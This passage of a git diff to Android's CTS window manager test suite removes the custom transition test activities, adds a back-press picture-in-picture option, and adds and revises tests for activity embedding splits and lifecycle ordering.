         public static final String EXTRA_EXPANDED_PIP_ASPECT_RATIO_DENOMINATOR =
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionEnterActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionEnterActivity.java
deleted file mode 100644
index b112c5e..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionEnterActivity.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.app;
-
-import static android.server.wm.app.Components.CustomTransitionAnimations.BACKGROUND_COLOR;
-import static android.server.wm.app.Components.CustomTransitionAnimations.BOTTOM_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.LEFT_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.RIGHT_EDGE_EXTENSION;
-import static android.server.wm.app.Components.CustomTransitionAnimations.TOP_EDGE_EXTENSION;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-
-import androidx.annotation.ColorInt;
-import androidx.annotation.Nullable;
-
-/**
- * Activity to test that show background for activity transitions works
- */
-public class CustomTransitionEnterActivity extends Activity {
-
-    String mTransitionType;
-    @ColorInt int mBackgroundColor = 0;
-
-    @Override
-    protected void onCreate(@Nullable Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.background_image);
-
-        // Ensure the activity is edge-to-edge
-        // In tests we rely on the activity's content filling the entire window
-        getWindow().setDecorFitsSystemWindows(false);
-
-        Intent intent = getIntent();
-        Bundle bundle = intent.getExtras();
-        mTransitionType = bundle.getString("transitionType");
-        mBackgroundColor = bundle.getInt("backgroundColorOverride");
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        switch (mTransitionType) {
-            case BACKGROUND_COLOR:
-                overridePendingTransition(R.anim.show_backdrop_hide_window_animation,
-                        R.anim.show_backdrop_hide_window_animation, mBackgroundColor);
-                break;
-            case LEFT_EDGE_EXTENSION:
-                overridePendingTransition(R.anim.edge_extension_left_window_animation,
-                        R.anim.edge_extension_left_window_animation, mBackgroundColor);
-                break;
-            case TOP_EDGE_EXTENSION:
-                overridePendingTransition(R.anim.edge_extension_top_window_animation,
-                        R.anim.edge_extension_top_window_animation, mBackgroundColor);
-                break;
-            case RIGHT_EDGE_EXTENSION:
-                overridePendingTransition(R.anim.edge_extension_right_window_animation,
-                        R.anim.edge_extension_right_window_animation, mBackgroundColor);
-                break;
-            case BOTTOM_EDGE_EXTENSION:
-                overridePendingTransition(R.anim.edge_extension_bottom_window_animation,
-                        R.anim.edge_extension_bottom_window_animation, mBackgroundColor);
-                break;
-        }
-    }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionExitActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionExitActivity.java
deleted file mode 100644
index a4a73ba..0000000
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/CustomTransitionExitActivity.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm.app;
-
-import static android.server.wm.app.Components.BackgroundActivityTransition.TRANSITION_REQUESTED;
-import static android.server.wm.app.Components.CUSTOM_TRANSITION_EXIT_ACTIVITY;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.Handler;
-import android.server.wm.TestJournalProvider;
-
-/**
- * Activity to test that show background for activity transitions works
- */
-public class CustomTransitionExitActivity extends Activity {
-
-    String mTransitionType;
-    int mBackgroundColor = 0;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.background_image);
-
-        // Ensure the activity is edge-to-edge
-        // In tests we rely on the activity's content filling the entire window
-        getWindow().setDecorFitsSystemWindows(false);
-
-        Intent intent = getIntent();
-        Bundle bundle = intent.getExtras();
-        mTransitionType = bundle.getString("transitionType");
-        mBackgroundColor = bundle.getInt("backgroundColorOverride", 0);
-
-        // Delay the starting the activity so we don't skip the transition.
-        startActivityDelayed();
-    }
-
-    private void startActivityDelayed() {
-        Runnable r = () -> {
-            // Notify the test journal that we are starting the activity transition
-            TestJournalProvider.putExtras(
-                    getBaseContext(), CUSTOM_TRANSITION_EXIT_ACTIVITY, bundle -> {
-                        bundle.putBoolean(TRANSITION_REQUESTED,
-                                true);
-                    });
-            final Intent i = new Intent(
-                    CustomTransitionExitActivity.this,
-                    CustomTransitionEnterActivity.class);
-            i.putExtra("transitionType", mTransitionType);
-            i.putExtra("backgroundColorOverride", mBackgroundColor);
-            startActivity(i);
-        };
-
-        Handler h = new Handler();
-        h.postDelayed(r, 1000);
-    }
-}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
index 074ab48..bc606ea 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/PipActivity.java
@@ -32,6 +32,7 @@
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR;
+import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_BACK_PRESSED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PAUSE;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_PIP_REQUESTED;
 import static android.server.wm.app.Components.PipActivity.EXTRA_ENTER_PIP_ON_USER_LEAVE_HINT;
@@ -82,6 +83,7 @@
 public class PipActivity extends AbstractLifecycleLogActivity {
 
     private boolean mEnteredPictureInPicture;
+    private boolean mEnterPipOnBackPressed;
     private RemoteCallback mCb;
 
     private Handler mHandler = new Handler();
@@ -91,7 +93,13 @@
             if (intent != null) {
                 switch (intent.getAction()) {
                     case ACTION_ENTER_PIP:
-                        enterPictureInPictureMode();
+                        enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+                        if (intent.getExtras() != null) {
+                            mCb = (RemoteCallback) intent.getExtras().get(EXTRA_SET_PIP_CALLBACK);
+                            if (mCb != null) {
+                                mCb.sendResult(new Bundle());
+                            }
+                        }
                         break;
                     case ACTION_MOVE_TO_BACK:
                         moveTaskToBack(false /* nonRoot */);
@@ -293,6 +301,9 @@
             dumpConfiguration(getResources().getConfiguration());
             dumpConfigInfo();
         }
+
+        mEnterPipOnBackPressed = Boolean.parseBoolean(
+                getIntent().getStringExtra(EXTRA_ENTER_PIP_ON_BACK_PRESSED));
     }
 
     @Override
@@ -388,6 +399,15 @@
         dumpConfigInfo();
     }
 
+    @Override
+    public void onBackPressed() {
+        if (mEnterPipOnBackPressed) {
+            enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+        } else {
+            super.onBackPressed();
+        }
+    }
+
     /**
      * Launches a new instance of the PipActivity in the same task that will automatically enter
      * PiP.
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 94c1f1a..bd26452 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -760,7 +760,7 @@
             if (objectText == null) {
                 continue;
             }
-            if (objectText.equalsIgnoreCase("CREATE")) {
+            if (objectText.equalsIgnoreCase("CREATE") || objectText.equalsIgnoreCase("ALLOW")) {
                 object.click();
                 buttonClicked = true;
                 break;
diff --git a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
index 5a82c6b..2cc72fa 100644
--- a/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/AndroidManifest.xml
@@ -43,7 +43,10 @@
                   android:knownActivityEmbeddingCerts="6a8b96e278e58f62cfe3584022cec1d0527fcb85a9e5d2e1694eb0405be5b599"
                   android:exported="true"
         />
-
+        <activity android:name="android.server.wm.jetpack.utils.TestRearDisplayActivity"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
+                  android:exported="true"
+        />
         <!-- The provider properties must match the shared one defined in the util module. -->
         <provider android:name="android.server.wm.lifecycle.EventLog"
                   android:authorities="android.server.wm.jetpack.logprovider"
diff --git a/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java b/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
index b332543..4188d43 100644
--- a/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
+++ b/tests/framework/base/windowmanager/jetpack/SignedApp/src/android/server/wm/jetpack/signed/SignedEmbeddingActivity.java
@@ -18,11 +18,11 @@
 
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.DEFAULT_SPLIT_RATIO;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.EMBEDDED_ACTIVITY_ID;
-import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
 import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityCrossUidInSplit;
 import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
 import static android.server.wm.jetpack.utils.ExtensionUtil.getWindowExtensions;
 import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_EMBED_ACTIVITY;
+import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA_SPLIT_RATIO;
 
 import static org.junit.Assume.assumeNotNull;
 
@@ -89,8 +89,9 @@
                 activityActivityPair -> true /* activityActivityPredicate */,
                 activityIntentPair -> true /* activityIntentPredicate */,
                 parentWindowMetrics -> true /* parentWindowMetricsPredicate */)
-                .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
-        embeddingComponent.setEmbeddingRules(Collections.singleton(createWildcardSplitPairRule()));
+                .setSplitRatio(getIntent().getFloatExtra(EXTRA_SPLIT_RATIO, DEFAULT_SPLIT_RATIO))
+                .build();
+        embeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
 
         // Launch an activity from a different UID that recognizes this package's signature and
         // verify that it is split with this activity.
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
index 46d3fa8..8caa0de 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingBoundsTests.java
@@ -68,13 +68,15 @@
         final Activity primaryActivity = startActivityNewTask(
                 TestConfigChangeHandlingActivity.class);
 
-        // Set split pair rule such that if the parent width is any smaller than it is now, then
+        // Set split pair rule such that if the parent bounds is any smaller than it is now, then
         // the parent cannot support a split.
         final int originalTaskWidth = getTaskWidth();
+        final int originalTaskHeight = getTaskHeight();
         final SplitPairRule splitPairRule = new SplitPairRule.Builder(
                 activityActivityPair -> true /* activityPairPredicate */,
                 activityIntentPair -> true /* activityIntentPredicate */,
-                parentWindowMetrics -> parentWindowMetrics.getBounds().width() >= originalTaskWidth)
+                parentWindowMetrics -> parentWindowMetrics.getBounds().width() >= originalTaskWidth
+                        && parentWindowMetrics.getBounds().height() >= originalTaskHeight)
                 .setSplitRatio(DEFAULT_SPLIT_RATIO).build();
         mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
 
@@ -92,7 +94,7 @@
         for (int i = 0; i < numTimesToResize; i++) {
             // Shrink the display by 10% to make the activities stacked
             mReportedDisplayMetrics.setSize(new Size((int) (originalDisplaySize.getWidth() * 0.9),
-                    originalDisplaySize.getHeight()));
+                    (int) (originalDisplaySize.getHeight() * 0.9)));
             waitForFillsTask(secondaryActivity);
             waitAndAssertNotVisible(primaryActivity);
 
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java
new file mode 100644
index 0000000..b2448b7
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingIntegrationTests.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack;
+
+import static android.server.wm.jetpack.signed.Components.SIGNED_EMBEDDING_ACTIVITY;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.EMBEDDED_ACTIVITY_ID;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.startActivityAndVerifySplit;
+import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.waitAndAssertResumed;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeExtensionSupportedDevice;
+import static android.server.wm.jetpack.utils.ExtensionUtil.assumeHasDisplayFeatures;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutComponent;
+import static android.server.wm.jetpack.utils.ExtensionUtil.getExtensionWindowLayoutInfo;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNotNull;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.jetpack.utils.TestActivityWithId;
+import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.window.extensions.embedding.SplitPairRule;
+import androidx.window.extensions.layout.WindowLayoutComponent;
+import androidx.window.extensions.layout.WindowLayoutInfo;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Collections;
+
+/**
+ * Tests for the {@link androidx.window.extensions} implementation provided on the device (and only
+ * if one is available) for the Activity Embedding functionality. Specifically tests integration
+ * with other features.
+ *
+ * Build/Install/Run:
+ *     atest CtsWindowManagerJetpackTestCases:ActivityEmbeddingIntegrationTests
+ */
+@Presubmit
+@RunWith(AndroidJUnit4.class)
+public class ActivityEmbeddingIntegrationTests extends ActivityEmbeddingTestBase {
+    private WindowLayoutComponent mWindowLayoutComponent;
+
+    @Before
+    @Override
+    public void setUp() {
+        super.setUp();
+        assumeExtensionSupportedDevice();
+        mWindowLayoutComponent = getExtensionWindowLayoutComponent();
+        assumeNotNull(mWindowLayoutComponent);
+    }
+
+    /**
+     * Tests that display features are still reported when using ActivityEmbedding.
+     */
+    @Test
+    public void testDisplayFeaturesWithEmbedding() throws Exception {
+        TestConfigChangeHandlingActivity primaryActivity = (TestConfigChangeHandlingActivity)
+                startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        WindowLayoutInfo windowLayoutInfo = getExtensionWindowLayoutInfo(primaryActivity);
+        assumeHasDisplayFeatures(windowLayoutInfo);
+
+        // Launch a second activity in a split. Use a very small split ratio, so that the secondary
+        // activity occupies most of the screen.
+        SplitPairRule splitPairRule = new SplitPairRule.Builder(
+                activityActivityPair -> true,
+                activityIntentPair -> true,
+                windowMetrics -> true
+        )
+                .setSplitRatio(0.1f)
+                .build();
+        mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPairRule));
+
+        Activity secondaryActivity = startActivityAndVerifySplit(primaryActivity,
+                TestActivityWithId.class, splitPairRule,
+                "secondaryActivity" /* secondActivityId */, mSplitInfoConsumer);
+
+        // Verify that an embedded activity still observes the same number of features
+        WindowLayoutInfo newWindowLayoutInfo = getExtensionWindowLayoutInfo(secondaryActivity);
+        assertEquals(windowLayoutInfo.getDisplayFeatures().size(),
+                newWindowLayoutInfo.getDisplayFeatures().size());
+
+        // Need to reset primary activity bounds change counter because entering the split already
+        // triggered a bounds change.
+        primaryActivity.resetBoundsChangeCounter();
+
+        // Finish the secondary activity and verify that the primary activity still receives the
+        // display features
+        secondaryActivity.finish();
+        assertTrue(primaryActivity.waitForBoundsChange());
+        assertEquals(getMaximumActivityBounds(primaryActivity),
+                getActivityBounds(primaryActivity));
+
+        newWindowLayoutInfo = getExtensionWindowLayoutInfo(primaryActivity);
+        assertEquals(windowLayoutInfo.getDisplayFeatures().size(),
+                newWindowLayoutInfo.getDisplayFeatures().size());
+    }
+
+    /**
+     * Tests that display features are still reported when using ActivityEmbedding. Same as above,
+     * but using different packages for the host and embedded activities.
+     * Fixed in CL: If2dbc337c4b8cb909914cc28ae4db28a82ff9de3
+     */
+    @Test
+    public void testDisplayFeaturesWithEmbedding_differentPackage() throws Exception {
+        // Start an activity to collect the window layout info.
+        TestConfigChangeHandlingActivity initialActivity = (TestConfigChangeHandlingActivity)
+                startActivityNewTask(TestConfigChangeHandlingActivity.class);
+        WindowLayoutInfo windowLayoutInfo = getExtensionWindowLayoutInfo(initialActivity);
+        assumeHasDisplayFeatures(windowLayoutInfo);
+
+        // Start an activity that will attempt to embed TestActivityKnownEmbeddingCerts. It will be
+        // put in a new task, since it has a different affinity.
+        Bundle extras = new Bundle();
+        extras.putBoolean(EXTRA_EMBED_ACTIVITY, true);
+        extras.putFloat(EXTRA_SPLIT_RATIO, 0.1f);
+        startActivityNoWait(mContext, SIGNED_EMBEDDING_ACTIVITY, extras);
+
+        waitAndAssertResumed(EMBEDDED_ACTIVITY_ID);
+        TestActivityWithId secondaryActivity = getResumedActivityById(EMBEDDED_ACTIVITY_ID);
+        assertNotNull(secondaryActivity);
+        assertTrue(mActivityEmbeddingComponent.isActivityEmbedded(secondaryActivity));
+
+        // Verify that an embedded activity from a different package observes the same number of
+        // features as the initial one.
+        WindowLayoutInfo newWindowLayoutInfo = getExtensionWindowLayoutInfo(secondaryActivity);
+        assertEquals(windowLayoutInfo.getDisplayFeatures().size(),
+                newWindowLayoutInfo.getDisplayFeatures().size());
+    }
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
index 967f776..605bfbd 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingLifecycleTests.java
@@ -132,7 +132,7 @@
                 TestActivityWithId2.class, splitPairRule,
                 "secondaryActivity2" /* secondActivityId */, mSplitInfoConsumer);
         List<Pair<String, String>> expected2 = List.of(
-                transition(TestActivityWithId.class, ON_DESTROY),
+                transition(TestActivityWithId.class, ON_PAUSE),
                 transition(TestActivityWithId2.class, ON_CREATE),
                 transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED));
         assertTrue("Replace secondary container activity",
@@ -140,6 +140,8 @@
                         checkOrder(mEventLog, expected2)));
         waitAndAssertResumed(primaryActivity);
         waitAndAssertResumed(secondaryActivity2);
+        // Destroy may happen after the secondaryActivity2 becomes visible and IDLE.
+        waitAndAssertActivityOnDestroy(TestActivityWithId.class);
     }
 
     /**
@@ -243,12 +245,8 @@
 
         // Finish secondary activity
         secondaryActivity.finish();
-        assertTrue("Split state change must be observed",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
-        assertTrue("Secondary activity must be finished",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TestActivityWithId.class, ON_DESTROY))));
+        waitAndAssertSplitStatesUpdated();
+        waitAndAssertActivityOnDestroy(TestActivityWithId.class);
         waitAndAssertResumed(primaryActivity);
     }
 
@@ -276,14 +274,16 @@
         // Finish secondary activity, should trigger finishing of the primary as well
         secondaryActivity.finish();
         List<Pair<String, String>> expected = List.of(
-                transition(TestActivityWithId.class, ON_DESTROY),
-                transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
+                transition(TestActivityWithId.class, ON_PAUSE),
+                transition(TestConfigChangeHandlingActivity.class, ON_PAUSE));
         assertTrue("Finish secondary activity with dependents",
                 mLifecycleTracker.waitForConditionWithTimeout(() ->
                         checkOrder(mEventLog, expected)));
-        assertTrue("Split state change must be observed",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
+        // There is no guarantee on the order, because the removal may be delayed until the next
+        // resumed becomes visible.
+        waitAndAssertActivityOnDestroy(TestConfigChangeHandlingActivity.class);
+        waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+        waitAndAssertSplitStatesUpdated();
     }
 
     /**
@@ -309,12 +309,8 @@
 
         // Finish primary activity
         primaryActivity.finish();
-        assertTrue("Split state change must be observed",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
-        assertTrue("Primary activity must be finished",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TestConfigChangeHandlingActivity.class, ON_DESTROY))));
+        waitAndAssertSplitStatesUpdated();
+        waitAndAssertActivityOnDestroy(TestConfigChangeHandlingActivity.class);
         waitAndAssertResumed(secondaryActivity);
     }
 
@@ -341,14 +337,16 @@
         // Finish primary activity should trigger finishing of the secondary as well.
         primaryActivity.finish();
         List<Pair<String, String>> expected = List.of(
-                transition(TestActivityWithId.class, ON_DESTROY),
-                transition(TestConfigChangeHandlingActivity.class, ON_DESTROY));
+                transition(TestConfigChangeHandlingActivity.class, ON_PAUSE),
+                transition(TestActivityWithId.class, ON_PAUSE));
         assertTrue("Finish primary activity with dependents",
                 mLifecycleTracker.waitForConditionWithTimeout(() ->
                         checkOrder(mEventLog, expected)));
-        assertTrue("Split state change must be observed",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
+        // There is no guarantee on the order, because the removal may be delayed until the next
+        // resumed becomes visible.
+        waitAndAssertActivityOnDestroy(TestConfigChangeHandlingActivity.class);
+        waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+        waitAndAssertSplitStatesUpdated();
     }
 
     /**
@@ -381,12 +379,8 @@
 
         // Finish the last activity
         secondaryActivity2.finish();
-        assertTrue("Split state change must be observed",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
-        assertTrue("Last activity must be finished",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TestActivityWithId2.class, ON_DESTROY))));
+        waitAndAssertSplitStatesUpdated();
+        waitAndAssertActivityOnDestroy(TestActivityWithId2.class);
         waitAndAssertResumed(primaryActivity);
     }
 
@@ -424,14 +418,15 @@
         waitAndAssertResumed(secondaryActivity2);
         waitAndAssertNotVisible(primaryActivity);
         List<Pair<String, String>> expected = List.of(
-                transition(TestActivityWithId.class, ON_DESTROY),
+                transition(TestActivityWithId.class, ON_PAUSE),
                 transition(TestConfigChangeHandlingActivity.class, ON_STOP));
         assertTrue("Finish middle activity in multi-split",
                 mLifecycleTracker.waitForConditionWithTimeout(() ->
                         checkOrder(mEventLog, expected)));
-        assertTrue("Split state change must be observed",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
+        // There is no guarantee on the order, because the removal may be delayed until the next
+        // resumed becomes visible.
+        waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+        waitAndAssertSplitStatesUpdated();
     }
 
     /**
@@ -465,14 +460,15 @@
         waitAndAssertResumed(secondaryActivity2);
         waitAndAssertNotVisible(primaryActivity);
         List<Pair<String, String>> expected = List.of(
-                transition(TestActivityWithId.class, ON_DESTROY),
+                transition(TestActivityWithId.class, ON_PAUSE),
                 transition(TestConfigChangeHandlingActivity.class, ON_STOP));
         assertTrue("Finish middle activity in multi-split",
                 mLifecycleTracker.waitForConditionWithTimeout(() ->
                         checkOrder(mEventLog, expected)));
-        assertTrue("Split state change must be observed",
-                mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
-                        transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
+        // There is no guarantee on the order, because the removal may be delayed until the next
+        // resumed becomes visible.
+        waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+        waitAndAssertSplitStatesUpdated();
     }
 
     /**
@@ -507,12 +503,18 @@
         // Finish the middle activity
         secondaryActivity.finish();
         waitAndAssertResumed(primaryActivity);
-        List<Pair<String, String>> expected = List.of(
-                transition(TestActivityWithId2.class, ON_DESTROY),
-                transition(TestActivityWithId.class, ON_DESTROY));
-        assertTrue("Finish middle activity in multi-split with dependents",
-                mLifecycleTracker.waitForConditionWithTimeout(() ->
-                        checkOrder(mEventLog, expected)));
+        // There is no guarantee on the order, because the removal may be delayed until the next
+        // resumed becomes visible.
+        waitAndAssertActivityOnDestroy(TestActivityWithId.class);
+        waitAndAssertActivityOnDestroy(TestActivityWithId2.class);
+        waitAndAssertSplitStatesUpdated();
+    }
+
+    private void waitAndAssertActivityOnDestroy(Class<? extends Activity> activityClass) {
+        mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, ON_DESTROY);
+    }
+
+    private void waitAndAssertSplitStatesUpdated() {
         assertTrue("Split state change must be observed",
                 mLifecycleTracker.waitForConditionWithTimeout(() -> mEventLog.getLog().contains(
                         transition(TEST_OWNER, ON_SPLIT_STATES_UPDATED))));
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
index e7235a2..0a105cf 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/ActivityEmbeddingPlaceholderTests.java
@@ -172,14 +172,16 @@
     @Test
     public void testPlaceholderFinishedWhenTaskWidthDecreased() {
         final int taskWidth = getTaskWidth();
+        final int taskHeight = getTaskHeight();
 
         // Set embedding rules with the parent window metrics only allowing side-by-side activities
-        // on a task width at least the current width.
+        // on a task bounds at least the current bounds.
         final SplitPlaceholderRule splitPlaceholderRule =
                 new SplitPlaceholderRuleBuilderWithDefaults(PRIMARY_ACTIVITY_ID,
                         PLACEHOLDER_ACTIVITY_ID)
-                        .setParentWindowMetrics(
-                                windowMetrics -> windowMetrics.getBounds().width() >= taskWidth)
+                        .setParentWindowMetrics(windowMetrics ->
+                                windowMetrics.getBounds().width() >= taskWidth
+                                        && windowMetrics.getBounds().height() >= taskHeight)
                         .build();
         mActivityEmbeddingComponent.setEmbeddingRules(Collections.singleton(splitPlaceholderRule));
 
@@ -189,11 +191,11 @@
         final TestActivity primaryActivity = (TestActivity) activityPair.first;
         final Activity placeholderActivity = activityPair.second;
 
-        // Shrink display width by 10% so that the primary and placeholder activities are stacked
+        // Shrink display size by 10% so that the primary and placeholder activities are stacked
         primaryActivity.resetBoundsChangeCounter();
         final Size currentSize = mReportedDisplayMetrics.getSize();
         mReportedDisplayMetrics.setSize(new Size((int) (currentSize.getWidth() * 0.9),
-                currentSize.getHeight()));
+                (int) (currentSize.getHeight() * 0.9)));
 
         // Verify that the placeholder activity was finished and that the primary activity now
         // fills the task.
@@ -208,16 +210,17 @@
      */
     @Test
     public void testPlaceholderLaunchedWhenTaskWidthIncreased() {
-        final int taskWidth = getTaskWidth();
+        final double splitTaskWidth = getTaskWidth() * 1.05;
+        final double splitTaskHeight = getTaskHeight() * 1.05;
 
